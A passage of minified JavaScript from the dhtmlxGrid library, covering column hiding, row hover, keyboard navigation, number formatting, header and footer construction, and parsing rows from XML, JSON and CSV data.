a=0;a<h.childNodes.length;a++){h.childNodes[a].className=h.childNodes[a].className.replace(/cellselected/g,\"\")}this.selectedRows._dhx_removeAt(g)}this.callEvent(\"onGridReconstructed\",[])}if((!e)&&(h.style.display==\"none\")){h.style.display=\"\";this.callEvent(\"onGridReconstructed\",[])}this.callEvent(\"onRowHide\",[l,e]);this.setSizes()},setColumnHidden:function(e,c){if(!this.hdr.rows.length){if(!this._ivizcol){this._ivizcol=[]}return this._ivizcol[e]=c}if((this.fldSorted)&&(this.fldSorted.cellIndex==e)&&(c)){this.sortImg.style.display=\"none\"}var a=dhx4.s2b(c);if(a){if(!this._hrrar){this._hrrar=new Array()}else{if(this._hrrar[e]){return}}this._hrrar[e]=\"display:none;\";this._hideShowColumn(e,\"none\")}else{if((!this._hrrar)||(!this._hrrar[e])){return}this._hrrar[e]=\"\";this._hideShowColumn(e,\"\")}if((this.fldSorted)&&(this.fldSorted.cellIndex==e)&&(!c)){this.sortImg.style.display=\"inline\"}this.setSortImgPos();this.callEvent(\"onColumnHidden\",[e,c])},isColumnHidden:function(a){if((this._hrrar)&&(this._hrrar[a])){return true}return false},setColumnsVisibility:function(c){if(c){this._ivizcol=c.split(this.delim)}if(this.hdr.rows.length&&this._ivizcol){for(var a=0;a<this._ivizcol.length;a++){this.setColumnHidden(a,this._ivizcol[a])}}},_fixHiddenRowsAll:function(n,e,a,c,l){l=l||\"_cellIndex\";var m=n.rows.length;for(var h=0;h<m;h++){var o=n.rows[h].childNodes;if(o.length!=this._cCount){for(var g=0;g<o.length;g++){if(o[g][l]==e){o[g].style[a]=c;break}}}else{o[e].style[a]=c}}},_hideShowColumn:function(h,g){var a=h;if(this.hdr.rows[1]&&(this.hdr.rows[1]._childIndexes)&&(this.hdr.rows[1]._childIndexes[h]!=h)){a=this.hdr.rows[1]._childIndexes[h]}if(g==\"none\"){this.hdr.rows[0].cells[h]._oldWidth=this.hdr.rows[0].cells[h].style.width||(this.initCellWidth[h]+\"px\");this.hdr.rows[0].cells[h]._oldWidthP=this.cellWidthPC[h];this.obj.rows[0].cells[h].style.width=\"0px\";var c={rows:[this.obj.rows[0]]};this.forEachRow(function(l){if(this.rowsAr[l].tagName==\"TR\"){c.rows.push(this.rowsAr[l])}});this._fixHiddenRowsAll(c,h,\"display\",\"none\");if(this.isTreeGrid()){this._fixHiddenRowsAllTG(h,\"none\")}if((_isOpera&&_OperaRv<9)||_isKHTML||(_isFF)){this._fixHiddenRowsAll(this.hdr,h,\"display\",\"none\",\"_cellIndexS\")}if(this.ftr){this._fixHiddenRowsAll(this.ftr.childNodes[0],h,\"display\",\"none\")}this._fixHiddenRowsAll(this.hdr,h,\"whiteSpace\",\"nowrap\",\"_cellIndexS\");if(!this.cellWidthPX.length&&!this.cellWidthPC.length){this.cellWidthPX=[].concat(this.initCellWidth)}if(this.cellWidthPX[h]){this.cellWidthPX[h]=0}if(this.cellWidthPC[h]){this.cellWidthPC[h]=0}}else{if(this.hdr.rows[0].cells[h]._oldWidth){var e=this.hdr.rows[0].cells[h];if(_isOpera||_isKHTML||(_isFF)){this._fixHiddenRowsAll(this.hdr,h,\"display\",\"\",\"_cellIndexS\")}if(this.ftr){this._fixHiddenRowsAll(this.ftr.childNodes[0],h,\"display\",\"\")}var c={rows:[this.obj.rows[0]]};this.forEachRow(function(l){if(this.rowsAr[l].tagName==\"TR\"){c.rows.push(this.rowsAr[l])}});this._fixHiddenRowsAll(c,h,\"display\",\"\");if(this.isTreeGrid()){this._fixHiddenRowsAllTG(h,\"\")}this._fixHiddenRowsAll(this.hdr,h,\"whiteSpace\",\"normal\",\"_cellIndexS\");if(e._oldWidthP){this.cellWidthPC[h]=e._oldWidthP}if(e._oldWidth){this.cellWidthPX[h]=parseInt(e._oldWidth)}}}this.setSizes();if((!_isIE)&&(!_isFF)){this.obj.border=1;this.obj.border=0}},enableColSpan:function(a){this._ecspn=dhx4.s2b(a)},enableRowsHover:function(c,a){this._unsetRowHover(false,true);this._hvrCss=a;if(dhx4.s2b(c)){if(!this._elmnh){this.obj._honmousemove=this.obj.onmousemove;this.obj.onmousemove=this._setRowHover;if(_isIE){this.obj.onmouseleave=this._unsetRowHover}else{this.obj.onmouseout=this._unsetRowHover}this._elmnh=true}}else{if(this._elmnh){this.obj.onmousemove=this.obj._honmousemove;if(_isIE){this.obj.onmouseleave=null}else{this.obj.onmouseout=null}this._elmnh=false}}},enableEditEvents:function(c,e,a){this._sclE=dhx4.s2b(c);this._dclE=dhx4.s2b(e);this._f2kE=dhx4.s2b(a)},enableLightMouseNavigation:function(a){if(dhx4.s2b(a)){if(!this._elmn){this.entBox._onclick=this.entBox.onclick;this.entBox.onclick=function(){return true};this.obj._onclick=this.obj.onclick;this.obj.onclick=function(g){var h=this.grid.getFirstParentOfType(g?g.target:event.srcElement,\"TD\");if(!h){return}this.grid.editStop();this.grid.doClick(h);this.grid.editCell();(g||event).cancelBubble=true};this.obj._onmousemove=this.obj.onmousemove;this.obj.onmousemove=this._autoMoveSelect;this._elmn=true}}else{if(this._elmn){this.entBox.onclick=this.entBox._onclick;this.obj.onclick=this.obj._onclick;this.obj.onmousemove=this.obj._onmousemove;this._elmn=false}}},_unsetRowHover:function(g,h){if(h){that=this}else{that=this.grid}if((that._lahRw)&&(that._lahRw!=h)){for(var a=0;a<that._lahRw.childNodes.length;a++){that._lahRw.childNodes[a].className=that._lahRw.childNodes[a].className.replace(that._hvrCss,\"\")}that._lahRw=null}},_setRowHover:function(g){var h=this.grid.getFirstParentOfType(g?g.target:event.srcElement,\"TD\");if(h&&h.parentNode!=this.grid._lahRw){this.grid._unsetRowHover(0,h);h=h.parentNode;if(!h.idd||h.idd==\"__filler__\"){return}for(var a=0;a<h.childNodes.length;a++){h.childNodes[a].className+=\" \"+this.grid._hvrCss}this.grid._lahRw=h}this._honmousemove(g)},_autoMoveSelect:function(a){if(!this.grid.editor){var g=this.grid.getFirstParentOfType(a?a.target:event.srcElement,\"TD\");if(g.parentNode.idd){this.grid.doClick(g,true,0)}}this._onmousemove(a)},enableDistributedParsing:function(e,a,c){if(dhx4.s2b(e)){this._ads_count=a||10;this._ads_time=c||250}else{this._ads_count=0}},destructor:function(){this.editStop(true);if(this._sizeTime){this._sizeTime=window.clearTimeout(this._sizeTime)}this.entBox.className=(this.entBox.className||\"\").replace(/gridbox.*/,\"\");if(this.formInputs){for(var e=0;e<this.formInputs.length;e++){this.parentForm.removeChild(this.formInputs[e])}}var c;for(var e=0;e<this.rowsCol.length;e++){if(this.rowsCol[e]){this.rowsCol[e].grid=null}}for(e in this.rowsAr){if(this.rowsAr[e]){this.rowsAr[e]=null}}this.rowsCol=new dhtmlxArray();this.rowsAr={};this.entBox.innerHTML=\"\";var g=function(){};this.entBox.onclick=this.entBox.onmousedown=this.entBox.onbeforeactivate=this.entBox.onbeforedeactivate=this.entBox.onbeforedeactivate=this.entBox.onselectstart=g;this.setSizes=this._update_srnd_view=this.callEvent=g;this.entBox.grid=this.objBox.grid=this.hdrBox.grid=this.obj.grid=this.hdr.grid=null;if(this._fake){this.globalBox.innerHTML=\"\";this._fake.setSizes=this._fake._update_srnd_view=this._fake.callEvent=g;this.globalBox.onclick=this.globalBox.onmousedown=this.globalBox.onbeforeactivate=this.globalBox.onbeforedeactivate=this.globalBox.onbeforedeactivate=this.globalBox.onselectstart=g}for(c in this){if((this[c])&&(this[c].m_obj)){this[c].m_obj=null}this[c]=null}if(this==globalActiveDHTMLGridObject){globalActiveDHTMLGridObject=null}return null},getSortingState:function(){var a=new Array();if(this.fldSorted){a[0]=this.fldSorted._cellIndex;a[1]=(this.sortImg.className==\"dhxgrid_sort_desc\"?\"des\":\"asc\")}return a},enableAutoHeight:function(e,c,a){this._ahgr=dhx4.s2b(e);this._ahgrF=dhx4.s2b(a);this._ahgrM=c||null;if(arguments.length==1){this.objBox.style.overflowY=e?\"hidden\":\"auto\"}if(c==\"auto\"){this._ahgrM=null;this._ahgrMA=true;this._setAutoResize()}},enableStableSorting:function(a){this._sst=dhx4.s2b(a);this.rowsCol.stablesort=function(l){var h=this.length-1;for(var g=0;g<this.length-1;g++){for(var e=0;e<h;e++){if(l(this[e],this[e+1])>0){var c=this[e];this[e]=this[e+1];this[e+1]=c}}h--}}},enableKeyboardSupport:function(a){this._htkebl=!dhx4.s2b(a)},enableContextMenu:function(a){this._ctmndx=a},setScrollbarWidthCorrection:function(a){},enableTooltips:function(c){this._enbTts=c.split(\",\");for(var a=0;a<this._enbTts.length;a++){this._enbTts[a]=dhx4.s2b(this._enbTts[a])}},enableResizing:function(c){this._drsclmn=c.split(\",\");for(var a=0;a<this._drsclmn.length;a++){this._drsclmn[a]=dhx4.s2b(this._drsclmn[a])}},setColumnMinWidth:function(a,c){if(arguments.length==2){if(!this._drsclmW){this._drsclmW=new Array()}this._drsclmW[c]=a}else{this._drsclmW=a.split(\",\")}},enableCellIds:function(a){this._enbCid=dhx4.s2b(a)},lockRow:function(a,e){var c=this.getRowById(a);if(c){c._locked=dhx4.s2b(e);if((this.cell)&&(this.cell.parentNode.idd==a)){this.editStop()}}},_getRowArray:function(h){var g=new Array();for(var e=0;e<h.childNodes.length;e++){var c=this.cells3(h,e);g[e]=c.getValue()}return g},setDateFormat:function(c,a){this._dtmask=c;this._dtmask_inc=a},setNumberFormat:function(n,e,h,m){var g=n.replace(/[^0\\,\\.]*/g,\"\");var a=g.indexOf(\".\");if(a>-1){a=g.length-a-1}var c=g.indexOf(\",\");if(c>-1){c=g.length-a-2-c}if(typeof h!=\"string\"){h=this.i18n.decimal_separator}if(typeof m!=\"string\"){m=this.i18n.group_separator}var o=n.split(g)[0];var l=n.split(g)[1];this._maskArr[e]=[a,c,o,l,h,m]},_aplNFb:function(h,g){var c=this._maskArr[g];if(!c){return h}var e=parseFloat(h.toString().replace(/[^0-9]*/g,\"\"));if(h.toString().substr(0,1)==\"-\"){e=e*-1}if(c[0]>0){e=e/Math.pow(10,c[0])}return e},_aplNF:function(l,h){var e=this._maskArr[h];if(!e){return l}var m=(parseFloat(l)<0?\"-\":\"\")+e[2];l=Math.abs(Math.round(parseFloat(l)*Math.pow(10,e[0]>0?e[0]:0))).toString();l=(l.length<e[0]?Math.pow(10,e[0]+1-l.length).toString().substr(1,e[0]+1)+l.toString():l).split(\"\").reverse();l[e[0]]=(l[e[0]]||\"0\")+e[4];if(e[1]>0){for(var g=(e[0]>0?0:1)+e[0]+e[1];g<l.length;g+=e[1]){l[g]+=e[5]}}return m+l.reverse().join(\"\")+e[3]},_launchCommands:function(a){for(var g=0;g<a.length;g++){var e=new Array();for(var c=0;c<a[g].childNodes.length;c++){if(a[g].childNodes[c].nodeType==1){e[e.length]=a[g].childNodes[c].firstChild.data}}this[a[g].getAttribute(\"command\")].apply(this,e)}},_parseHead:function(h){var g=dhx4.ajax.xpath(\"./head\",h);if(g.length){var l=dhx4.ajax.xpath(\"./column\",g[0]);var m=dhx4.ajax.xpath(\"./settings\",g[0]);var A=\"setInitWidths\";var v=false;if(m[0]){for(var n=0;n<m[0].childNodes.length;n++){switch(m[0].childNodes[n].tagName){case\"colwidth\":if(m[0].childNodes[n].firstChild&&m[0].childNodes[n].firstChild.data==\"%\"){A=\"setInitWidthsP\"}break;case\"splitat\":v=(m[0].childNodes[n].firstChild?m[0].childNodes[n].firstChild.data:false);break}}}this._launchCommands(dhx4.ajax.xpath(\"./beforeInit/call\",g[0]));if(l.length>0){if(this.hdr.rows.length>0){this.clearAll(true)}var a=[[],[],[],[],[],[],[],[],[]];var u=[\"\",\"width\",\"type\",\"align\",\"sort\",\"color\",\"format\",\"hidden\",\"id\"];var r=[\"\",A,\"setColTypes\",\"setColAlign\",\"setColSorting\",\"setColumnColor\",\"\",\"\",\"setColumnIds\"];for(var y=0;y<l.length;y++){for(var x=1;x<u.length;x++){a[x].push(l[y].getAttribute(u[x]))}a[0].push((l[y].firstChild?l[y].firstChild.data:\"\").replace(/^\\s*((\\s\\S)*.+)\\s*$/gi,\"$1\"))}this.setHeader(a[0]);for(var y=0;y<r.length;y++){if(r[y]){this[r[y]](a[y].join(this.delim))}}for(var y=0;y<l.length;y++){if((this.cellType[y].indexOf(\"co\")==0)||(this.cellType[y]==\"clist\")){var o=dhx4.ajax.xpath(\"./option\",l[y]);if(o.length){var w=new Array();if(this.cellType[y]==\"clist\"){for(var x=0;x<o.length;x++){w[w.length]=o[x].firstChild?o[x].firstChild.data:\"\"}this.registerCList(y,w)}else{var C=this.getCombo(y);for(var x=0;x<o.length;x++){C.put(o[x].getAttribute(\"value\"),o[x].firstChild?o[x].firstChild.data:\"\")}}}}else{if(a[6][y]){if((this.cellType[y].toLowerCase().indexOf(\"calendar\")!=-1)||(this.fldSort[y]==\"date\")){this.setDateFormat(a[6][y])}else{this.setNumberFormat(a[6][y],y)}}}}this.init();var e=a[7].join(this.delim);if(this.setColHidden&&e.replace(/,/g,\"\")!=\"\"){this.setColHidden(e)}if((v)&&(this.splitAt)){this.splitAt(v)}}this._launchCommands(dhx4.ajax.xpath(\"./afterInit/call\",g[0]))}var c=dhx4.ajax.xpath(\"//rows/userdata\",h);if(c.length>0){if(!this.UserData.gridglobaluserdata){this.UserData.gridglobaluserdata=new Hashtable()}for(var x=0;x<c.length;x++){var D=\"\";for(var q=0;q<c[x].childNodes.length;q++){D+=c[x].childNodes[q].nodeValue}this.UserData.gridglobaluserdata.put(c[x].getAttribute(\"name\"),D)}}},getCheckedRows:function(a){var c=new Array();this.forEachRowA(function(g){var e=this.cells(g,a);if(e.changeState&&e.getValue()!=0){c.push(g)}},true);return c.join(\",\")},checkAll:function(){var c=arguments.length?arguments[0]:1;for(var a=0;a<this.getColumnsNum();a++){if(this.getColType(a)==\"ch\"){this.setCheckedRows(a,c)}}},uncheckAll:function(){this.checkAll(0)},setCheckedRows:function(c,a){this.forEachRowA(function(e){if(this.cells(e,c).isCheckbox()){this.cells(e,c).setValue(a)}})},_drawTooltip:function(l){var m=this.grid.getFirstParentOfType(l?l.target:event.srcElement,\"TD\");if(!m||((this.grid.editor)&&(this.grid.editor.cell==m))){return true}var h=m.parentNode;if(!h.idd||h.idd==\"__filler__\"){return}var g=(l?l.target:event.srcElement);if(h.idd==window.unknown){return true}if(!this.grid.callEvent(\"onMouseOver\",[h.idd,m._cellIndex,(l||window.event)])){return true}if((this.grid._enbTts)&&(!this.grid._enbTts[m._cellIndex])){if(g.title){g.title=\"\"}return true}if(m._cellIndex>=this.grid._cCount){return}var a=this.grid.cells3(h,m._cellIndex);if(!a||!a.cell||!a.cell._attrs){return}if(g._title){a.cell.title=\"\"}if(!a.cell._attrs.title){g._title=true}if(a){g.title=a.cell._attrs.title||(a.getTitle?a.getTitle():(a.getValue()||\"\").toString().replace(/<[^>]*>/gi,\"\"))}return true},enableCellWidthCorrection:function(a){if(_isFF){this._wcorr=parseInt(a)}},getAllRowIds:function(e){var a=[];for(var c=0;c<this.rowsBuffer.length;c++){if(this.rowsBuffer[c]){a.push(this.rowsBuffer[c].idd)}}return a.join(e||this.delim)},getAllItemIds:function(){return this.getAllRowIds()},setColspan:function(e,w,g){if(!this._ecspn){return}var a=this.getRowById(e);if((a._childIndexes)&&(a.childNodes[a._childIndexes[w]])){var o=a._childIndexes[w];var h=a.childNodes[o];var l=h.colSpan;h.colSpan=1;if((l)&&(l!=1)){for(var s=1;s<l;s++){var v=document.createElement(\"TD\");if(h.nextSibling){a.insertBefore(v,h.nextSibling)}else{a.appendChild(v)}a._childIndexes[w+s]=o+s;v._cellIndex=w+s;v.style.textAlign=this.cellAlign[s];v.style.verticalAlign=this.cellVAlign[s];h=v;this.cells3(a,w+s).setValue(\"\")}}for(var u=w*1+1*l;u<a._childIndexes.length;u++){a._childIndexes[u]+=(l-1)*1}}if((g)&&(g>1)){if(a._childIndexes){var o=a._childIndexes[w]}else{var o=w;a._childIndexes=new Array();for(var u=0;u<a.childNodes.length;u++){a._childIndexes[u]=u}}a.childNodes[o].colSpan=g;for(var u=1;u<g;u++){a._childIndexes[a.childNodes[o+1]._cellIndex]=o;a.removeChild(a.childNodes[o+1])}var q=a.childNodes[a._childIndexes[w]]._cellIndex;for(var u=q*1+1*g;u<a._childIndexes.length;u++){a._childIndexes[u]-=(g-1)}}},preventIECaching:function(a){dhx4.ajax.cache=!a},enableColumnAutoSize:function(a){this._eCAS=dhx4.s2b(a)},_onHeaderDblClick:function(g){var c=this.grid;var a=c.getFirstParentOfType(_isIE?event.srcElement:g.target,\"TD\");if(!c._eCAS){return false}c.adjustColumnSize(a._cellIndexS)},adjustColumnSize:function(o,c){if(this._hrrar&&this._hrrar[o]){return}this._notresize=true;var e=0;this._setColumnSizeR(o,20);for(var h=1;h<this.hdr.rows.length;h++){var r=this.hdr.rows[h];r=r.childNodes[(r._childIndexes)?r._childIndexes[o]:o];if((r)&&((!r.colSpan)||(r.colSpan<2))&&r._cellIndex==o){if((r.childNodes[0])&&(r.childNodes[0].className==\"hdrcell\")){r=r.childNodes[0]}e=Math.max(e,r.scrollWidth)}}var g=this.obj.rows.length;var q=0;var u=this.cellType._dhx_find(\"tree\");for(var n=1;n<g;n++){var s=this.obj.rows[n];if(!this.rowsAr[s.idd]){continue}if(s._childIndexes&&s._childIndexes[o]!=o||!s.childNodes[o]){continue}q=(s.childNodes[o].innerText||s.childNodes[o].textContent||\"\").length*this.fontWidth;if(this._h2&&o==u){q+=this._h2.get[s.idd].level*22}if(q>e){e=q}}e+=20+(c||0);this._setColumnSizeR(o,e);this._notresize=false;this.setSizes()},detachHeader:function(a,e){e=e||this.hdr;var c=e.rows[a+1];if(c){c.parentNode.removeChild(c)}this.setSizes()},detachFooter:function(a){this.detachHeader(a,this.ftr)},attachHeader:function(a,g,c){if(typeof(a)==\"string\"){a=this._eSplit(a)}if(typeof(g)==\"string\"){g=g.split(this.delim)}c=c||\"_aHead\";if(this.hdr.rows.length){if(a){this._createHRow([a,g],this[(c==\"_aHead\")?\"hdr\":\"ftr\"])}else{if(this[c]){for(var e=0;e<this[c].length;e++){this.attachHeader.apply(this,this[c][e])}}}}else{if(!this[c]){this[c]=new Array()}this[c][this[c].length]=[a,g,c]}},_createHRow:function(e,q){if(!q){if(this.entBox.style.position!=\"absolute\"){this.entBox.style.position=\"relative\"}var m=document.createElement(\"DIV\");m.className=\"c_ftr\".substr(2);this.entBox.appendChild(m);var u=document.createElement(\"TABLE\");u.cellPadding=u.cellSpacing=0;if(!_isIE||_isIE==8){u.width=\"100%\";u.style.paddingRight=\"20px\"}u.style.marginRight=\"20px\";u.style.tableLayout=\"fixed\";m.appendChild(u);u.appendChild(document.createElement(\"TBODY\"));this.ftr=q=u;var l=u.insertRow(0);var a=((this.hdrLabels.length<=1)?e[0].length:this.hdrLabels.length);for(var g=0;g<a;g++){l.appendChild(document.createElement(\"TH\"));l.childNodes[g]._cellIndex=g}if(_isIE&&_isIE<8){l.style.position=\"absolute\"}else{l.style.height=\"auto\"}}var h=e[1];var m=document.createElement(\"TR\");q.rows[0].parentNode.appendChild(m);for(var g=0;g<e[0].length;g++){if(e[0][g]==\"#cspan\"){var n=m.cells[m.cells.length-1];n.colSpan=(n.colSpan||1)+1;continue}if((e[0][g]==\"#rspan\")&&(q.rows.length>1)){var x=q.rows.length-2;var v=false;var n=null;while(!v){var n=q.rows[x];for(var c=0;c<n.cells.length;c++){if(n.cells[c]._cellIndex==g){v=c+1;break}}x--}n=n.cells[v-1];n.rowSpan=(n.rowSpan||1)+1;continue}var o=document.createElement(\"TD\");o._cellIndex=o._cellIndexS=g;if(this._hrrar&&this._hrrar[g]&&!_isIE){o.style.display=\"none\"}if(typeof e[0][g]==\"object\"){o.appendChild(e[0][g])}else{if(this.forceDivInHeader){o.innerHTML=\"<div class='hdrcell'>\"+(e[0][g]||\"&nbsp;\")+\"</div>\"}else{o.innerHTML=(e[0][g]||\"&nbsp;\")}if((e[0][g]||\"\").indexOf(\"#\")!=-1){var u=e[0][g].match(/(^|{)#([^}]+)(}|$)/);if(u){var r=\"_in_header_\"+u[2];if(this[r]){this[r]((this.forceDivInHeader?o.firstChild:o),g,e[0][g].split(u[0]))}}}}if(h){o.style.cssText=h[g]}m.appendChild(o)}var s=q;if(_isKHTML){if(q._kTimer){window.clearTimeout(q._kTimer)}q._kTimer=window.setTimeout(function(){q.rows[1].style.display=\"none\";window.setTimeout(function(){q.rows[1].style.display=\"\"},1)},500)}},attachFooter:function(a,c){this.attachHeader(a,c,\"_aFoot\")},setCellExcellType:function(e,a,c){this.changeCellType(this.getRowById(e),a,c)},changeCellType:function(e,g,c){c=c||this.cellType[g];var h=this.cells3(e,g);var a=h.getValue();h.cell._cellType=c;var h=this.cells3(e,g);h.setValue(a)},setRowExcellType:function(e,c){var g=this.rowsAr[e];for(var a=0;a<g.childNodes.length;a++){this.changeCellType(g,a,c)}},setColumnExcellType:function(a,e){for(var c=0;c<this.rowsBuffer.length;c++){if(this.rowsBuffer[c]&&this.rowsBuffer[c].tagName==\"TR\"){this.changeCellType(this.rowsBuffer[c],a,e)}}if(this.cellType[a]==\"math\"){this._strangeParams[c]=e}else{this.cellType[a]=e}},forEachRow:function(e){for(var c in this.rowsAr){if(this.rowsAr[c]&&this.rowsAr[c].idd){e.apply(this,[this.rowsAr[c].idd])}}},forEachRowA:function(e){for(var c=0;c<this.rowsBuffer.length;c++){if(this.rowsBuffer[c]){e.call(this,this.render_row(c).idd)}}},forEachCell:function(e,c){var g=this.getRowById(e);if(!g){return}for(var a=0;a<this._cCount;a++){c(this.cells3(g,a),a)}},enableAutoWidth:function(e,a,c){this._awdth=[dhx4.s2b(e),parseInt(a||99999),parseInt(c||0)];if(arguments.length==1){this.objBox.style.overflowX=e?\"hidden\":\"auto\"}},updateFromXML:function(a,g,c,e){if(typeof g==\"undefined\"){g=true}this._refresh_mode=[true,g,c];this.load(a,e)},_refreshFromXML:function(g){if(this._f_rowsBuffer){this.filterBy(0,\"\")}reset=false;if(window.eXcell_tree){eXcell_tree.prototype.setValueX=eXcell_tree.prototype.setValue;eXcell_tree.prototype.setValue=function(u){var s=this.grid._h2.get[this.cell.parentNode.idd];if(s&&this.cell.parentNode.valTag){this.setLabel(u)}else{this.setValueX(u)}}}var r=this.cellType._dhx_find(\"tree\");var l=dhx4.ajax.xmltop(\"rows\",g);var h=l.getAttribute(\"parent\")||0;var n={};if(this._refresh_mode[2]){if(r!=-1){this._h2.forEachChild(h,function(s){n[s.id]=true},this)}else{this.forEachRow(function(s){n[s]=true})}}var q=dhx4.ajax.xpath(\"//row\",l);for(var e=0;e<q.length;e++){var o=q[e];var a=o.getAttribute(\"id\");n[a]=false;var h=o.parentNode.getAttribute(\"id\")||h;if(this.rowsAr[a]&&this.rowsAr[a].tagName!=\"TR\"){if(this._h2){this._h2.get[a].buff.data=o}else{this.rowsBuffer[this.getRowIndex(a)].data=o}this.rowsAr[a]=o}else{if(this.rowsAr[a]){this._process_xml_row(this.rowsAr[a],o,-1);this._postRowProcessing(this.rowsAr[a],true);if(this._fake&&this._fake.rowsAr[a]){this._fake._process_xml_row(this._fake.rowsAr[a],o,-1)}}else{if(this._refresh_mode[1]){var m={idd:a,data:o,_parser:this._process_xml_row,_locator:this._get_xml_data};var c=this.rowsBuffer.length;if(this._refresh_mode[1]==\"top\"){this.rowsBuffer.unshift(m);c=0}else{this.rowsBuffer.push(m)}if(this._h2){reset=true;(this._h2.add(a,(o.parentNode.getAttribute(\"id\")||o.parentNode.getAttribute(\"parent\")))).buff=this.rowsBuffer[this.rowsBuffer.length-1]}else{if(this._srnd){reset=true}}this.rowsAr[a]=o;o=this.render_row(c);this._insertRowAt(o,c?-1:0)}}}}if(this._refresh_mode[2]){for(a in n){if(n[a]&&this.rowsAr[a]){this.deleteRow(a)}}}this._refresh_mode=null;if(window.eXcell_tree){eXcell_tree.prototype.setValue=eXcell_tree.prototype.setValueX}if(reset){if(this._h2){this._renderSort()}else{this.render_dataset()}}if(this._f_rowsBuffer){this._f_rowsBuffer=null;this.filterByAll()}},getCustomCombo:function(e,c){var a=this.cells(e,c).cell;if(!a._combo){a._combo=new dhtmlXGridComboObject()}return a._combo},setTabOrder:function(c){var g=c.split(this.delim);this._tabOrder=[];var a=this._cCount||c.length;for(var e=0;e<a;e++){g[e]={c:parseInt(g[e]),ind:e}}g.sort(function(l,h){return(l.c>h.c?1:-1)});for(var e=0;e<a;e++){if(!g[e+1]||(typeof g[e].c==\"undefined\")){this._tabOrder[g[e].ind]=(g[0].ind+1)*-1}else{this._tabOrder[g[e].ind]=g[e+1].ind}}},i18n:{loading:\"Loading\",decimal_separator:\".\",group_separator:\",\"},_key_events:{k13_1_0:function(){var a=this.rowsCol._dhx_find(this.row);this.selectCell(this.rowsCol[a+1],this.cell._cellIndex,true)},k13_0_1:function(){var a=this.rowsCol._dhx_find(this.row);this.selectCell(this.rowsCol[a-1],this.cell._cellIndex,true)},k13_0_0:function(){this.editStop();this.callEvent(\"onEnter\",[(this.row?this.row.idd:null),(this.cell?this.cell._cellIndex:null)]);this._still_active=true},k9_0_0:function(){this.editStop();if(!this.callEvent(\"onTab\",[true])){return true}var a=this._getNextCell(null,1);if(a){this.selectCell(a.parentNode,a._cellIndex,(this.row!=a.parentNode),false,true);this._still_active=true}},k9_0_1:function(){this.editStop();if(!this.callEvent(\"onTab\",[false])){return false}var a=this._getNextCell(null,-1);if(a){this.selectCell(a.parentNode,a._cellIndex,(this.row!=a.parentNode),false,true);this._still_active=true}},k113_0_0:function(){if(this._f2kE){this.editCell()}},k32_0_0:function(){var a=this.cells4(this.cell);if(!a.changeState||(a.changeState()===false)){return false}},k27_0_0:function(){this.editStop(true)},k33_0_0:function(){if(this.pagingOn){this.changePage(this.currentPage-1)}else{this.scrollPage(-1)}},k34_0_0:function(){if(this.pagingOn){this.changePage(this.currentPage+1)}else{this.scrollPage(1)}},k37_0_0:function(){if(!this.editor&&this.isTreeGrid()){this.collapseKids(this.row)}else{return false}},k39_0_0:function(){if(!this.editor&&this.isTreeGrid()){this.expandKids(this.row)}else{return false}},k40_0_0:function(){var c=this._realfake?this._fake:this;if(this.editor&&this.editor.combo){this.editor.shiftNext()}else{if(!this.row.idd){return}var a=Math.max((c._r_select||0),this.getRowIndex(this.row.idd));var e=this._nextRow(a,1);if(e){c._r_select=null;this.selectCell(e,this.cell._cellIndex,true);if(c.pagingOn){c.showRow(e.idd)}}else{if(!this.callEvent(\"onLastRow\",[])){return false}this._key_events.k34_0_0.apply(this,[]);if(this.pagingOn&&this.rowsCol[a+1]){this.selectCell(a+1,0,true)}}}this._still_active=true},k38_0_0:function(){var c=this._realfake?this._fake:this;if(this.editor&&this.editor.combo){this.editor.shiftPrev()}else{if(!this.row.idd){return}var a=this.getRowIndex(this.row.idd)+1;if(a!=-1&&(!this.pagingOn||(a!=1))){var e=this._nextRow(a-1,-1);this.selectCell(e,this.cell._cellIndex,true);if(c.pagingOn&&e){c.showRow(e.idd)}}else{this._key_events.k33_0_0.apply(this,[])}}this._still_active=true}},_build_master_row:function(){var e=document.createElement(\"DIV\");var c=[\"<table><tr>\"];for(var a=0;a<this._cCount;a++){c.push(\"<td></td>\")}c.push(\"</tr></table>\");e.innerHTML=c.join(\"\");this._master_row=e.firstChild.rows[0]},_prepareRow:function(a){if(!this._master_row){this._build_master_row()}var e=this._master_row.cloneNode(true);for(var c=0;c<e.childNodes.length;c++){e.childNodes[c]._cellIndex=c;if(this._enbCid){e.childNodes[c].id=\"c_\"+a+\"_\"+c}if(this.dragAndDropOff){this.dragger.addDraggableItem(e.childNodes[c],this)}}e.idd=a;e.grid=this;return e},_process_jsarray_row:function(c,e){c._attrs={};for(var a=0;a<c.childNodes.length;a++){c.childNodes[a]._attrs={}}this._fillRow(c,(this._c_order?this._swapColumns(e):e));return c},_get_jsarray_data:function(c,a){return c[a]},_process_json_row:function(a,c){c=this._c_order?this._swapColumns(c.data):c.data;return this._process_some_row(a,c)},_process_some_row:function(c,e){c._attrs={};for(var a=0;a<c.childNodes.length;a++){c.childNodes[a]._attrs={}}this._fillRow(c,e);return c},_get_json_data:function(c,a){return c.data[a]},_process_js_row:function(e,g){var a=[];for(var c=0;c<this.columnIds.length;c++){a[c]=g[this.columnIds[c]];if(!a[c]&&a[c]!==0){a[c]=\"\"}}this._process_some_row(e,a);e._attrs=g;return e},_get_js_data:function(c,a){return c[this.columnIds[a]]},_process_csv_row:function(c,e){c._attrs={};for(var a=0;a<c.childNodes.length;a++){c.childNodes[a]._attrs={}}this._fillRow(c,(this._c_order?this._swapColumns(e.split(this.csv.cell)):e.split(this.csv.cell)));return c},_get_csv_data:function(c,a){return c.split(this.csv.cell)[a]},_process_store_row:function(h,g){var a=[];for(var e=0;e<this.columnIds.length;e++){a[e]=g[this.columnIds[e]]}for(var c=0;c<h.childNodes.length;c++){h.childNodes[c]._attrs={}}h._attrs=g;this._fillRow(h,a)},_process_xml_row:function(a,l){var s=dhx4.ajax.xpath(this.xml.cell,l);var o=[];a._attrs=this._xml_attrs(l);if(this._ud_enabled){var q=dhx4.ajax.xpath(\"./userdata\",l);for(var h=q.length-1;h>=0;h--){var n=\"\";for(var e=0;e<q[h].childNodes.length;e++){n+=q[h].childNodes[e].nodeValue}this.setUserData(a.idd,q[h].getAttribute(\"name\"),n)}}for(var e=0;e<s.length;e++){var g=s[this._c_order?this._c_order[e]:e];if(!g){continue}var c=a._childIndexes?a._childIndexes[e]:e;var 